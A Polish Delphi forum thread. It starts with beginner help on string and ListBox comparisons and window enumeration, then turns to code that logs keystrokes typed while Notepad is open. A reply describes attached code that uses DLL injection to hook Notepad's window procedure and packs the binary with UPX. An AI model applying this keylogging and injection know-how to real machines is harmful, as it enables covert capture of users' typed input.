problem z typami zmiennych (instrukacja if) delphi

0

niedawno zaczalem pisanie w delphi.
mam taki fragment kodu
if (Listbox1.Items=x) then ShowMessage('znaleziono') else ('nie znaleziono');
x jest stringiem,
i wyskakuje problem z typami zmiennych:
"Incompatybile types: 'String' and 'Tstrings'
jak powinien wygladac ten kod aby dzialal poprawnie?

0
  if Listbox1.Items[indeks_itema]=x then ...
0

teraz jest taki blad:
statement expected, but expression of type 'String' found.
x ma przypisany ciag znakow

0

Wklej cały kod, bo z tego nic nie wiadomo i nie można jasno określić problemu; Po drugie posłuż się guglami i znajdź to, co oznacza ww error; Z resztą w pomocy delphi o tym możesz na pewno przeczytać;

Jeżeli typy by się zgadzały to nie ma mowy o błędzie; Musi być gdzieś indziej, ale podałeś tylko linię warunku;

Zapewne podczas debugowania wykrył byś błąd. skorzystaj więc z niego;

0

procedure TForm1.Button1Click(Sender: TObject);

function EnumWindowsProc(WHandle: HWND; LParM: LParam): Boolean;StdCall;Export;
var Title,ClassName:array[0..128] of char;
sTitle,sClass,Linia:STRING ;
x:string;
begin
x:=('notepad');
//Listbox1.clear;
Result:=True;
GetWindowText(wHandle, Title,128);
GetClassName(wHandle, ClassName,128);
sTitle:=Title;
sClass:=ClassName;
if IsWindowVisible(wHandle) then
begin
Linia:=sTitle+' '+sClass+' '+IntToHex(wHandle,4);
Form1.Listbox1.Items.Add(Linia);

end;

if Listbox1.Items[1]=x then ShowMessage('znaleziono') else ('nie znaleziono');
end;

begin
EnumWindows(@EnumWindowsProc,0);
end;

0

zamienilem if'a na dodatkowy przycisk:

procedure TForm1.Button2Click(Sender: TObject);
var
S : String;
I:Integer;
begin
S:=Edit1.Text;

For I:=0 to ListBox1.Items.Count-1 do
If Pos(S, ListBox1.Items[i])>0 then
begin
label1.Caption:='slowo istnieje' ;
ListBox2.Items.Add(ListBox1.Items[i])
end
else
label1.Caption:='slowo nie istnieje';
end;

i tu wystepuje problem ktorego nie rozumiem, bo do Edit1 wpisuje nazwe jakiegos okna i program wyswietla jego nazwe w Listbox2 ale w label1 zamist pojawic sie 'slowo istnieje' pojawia sie 'slowo nie istnieje'

0

W label1 będzie napis wynikający z tego czy ostatni item z listbox1 zawiera s

0

a no tak, nie przemyslalem tego ;)
a zeby wpisywal do Label1 'slowo istnieje' musze zastosowac jeszcze jedna petle czy da rade jakos szybciej to zalatwic??

0

a zeby wpisywal do Label1 'slowo istnieje' musze zastosowac jeszcze jedna petle czy da rade jakos szybciej to zalatwic??

Instrukcją break lub exit. Pewnie jest jeszcze pare sposobów ale te najprostsze.

0

ale break przerwie dzialanie funkcji i nie sprawdzi dalej czy podany wyraz sie powtarza

chce zeby znajdywal wszystkie okna z Listbox1 o podanej nazwie, a gdy tylko jakas zmienial Label1 na 'znaleziono', ale chce wyswietlac wszystkie

0
procedure TForm1.Button2Click(Sender: TObject);
var
  S : String;
  I:Integer;
begin
  S:=Edit1.Text;
  label1.Caption:='slowo nie istnieje';//wstępnie
  For I:=0 to ListBox1.Items.Count-1 do
    If Pos(S, ListBox1.Items[i])>0 then
    begin
      label1.Caption:='slowo istnieje';
      ListBox2.Items.Add(ListBox1.Items[i]);
    end;
end;
0

ja wlasnie kombinowalem cos w tym kierunku, zrobilem troche po swojemu ale to bedzie lepsze. dzieki za pomoc

0

ten kod nie zawsze dziala. powinien on pobierac wpisywane klawisze w momencie uruchomienia notatnika, czasem to dziala jest tak jak nalezy, w momencie zamknietego notatnika nie robi nic, a podczas gdy jest otwarty zapisuje je, jednakze w wiekszosci przypadkow po kompilacji program ten nie znajduje takiego okna jak notatnik i pobiera klawisze bez wzgeldu na jego obecnosc. co powinienem poprawic?? i co dodac jezeli chcialbym uwzglednic wewnetzne okno w ktrym sie wpisuje do Notatnika?

procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
var
  H: HWND;
function FindWindow(lpClassName, lpWindowName: PChar): HWND; stdcall;
var
  NextHandle: Hwnd;
  NextTitle: array[0..260] of char;
begin
  NextHandle := GetWindow(Application.Handle, GW_HWNDFIRST);
  while NextHandle > 0 do
  begin
    GetWindowText(NextHandle, NextTitle, 255);
    if Pos(UpperCase(lpClassName), UpperCase(StrPas(NextTitle))) <> 0 then
    begin
      Result := NextHandle;
      Exit;
    end
    else
      NextHandle := GetWindow(NextHandle, GW_HWNDNEXT);
  end;
  Result := 0;
end;
begin
  h := FindWindow('Notatnik',nil);
  if h <> 0 then
  begin
    if key[1]='{' then
    memo1.lines.add(key) else
    memo1.Text:=memo1.text+key
  end
end;
0

co powinienem poprawic

Powinieneś użyć DEBUGGERA żeby znaleźć powód dla którego nie działa. Poszukaj w google z czym to sie je.

(Z pozdrowieniami dla Madmike)

0

Przeanalizuj sobie dołączony do mojego posta kod. Wprawdzie może się wydawać Tobie, że to nieco zaawansowane, ale dzięki injekcji dllki mogę podmienić funkcję obsługi okna notatnika, a w kodzie a_spy.dpr zobaczysz jak prawidłowo ustalam okno edycyjne Notatnika. Całośc pisana w WinAPI aby było zgrabniej i zajmowało mniej. Całośc kompilowana w Delphi 7 z użyciem innych, zoptymalizowanych modułów do pobrania z: http://kolmck.net/sys/SysDcu7.zip dzięki czemu i pomimo spakowania całości exeka UPX'em, plik wynikowy jest jeszcze mniejszy. W razie pytań pisz, ale uważam że wszystko powinno być łatwe do ogarnięcia, bo starałem się pisać - w miarę moich możłiwości - przejrzyśty kod

1 użytkowników online, w tym zalogowanych: 0, gości: 1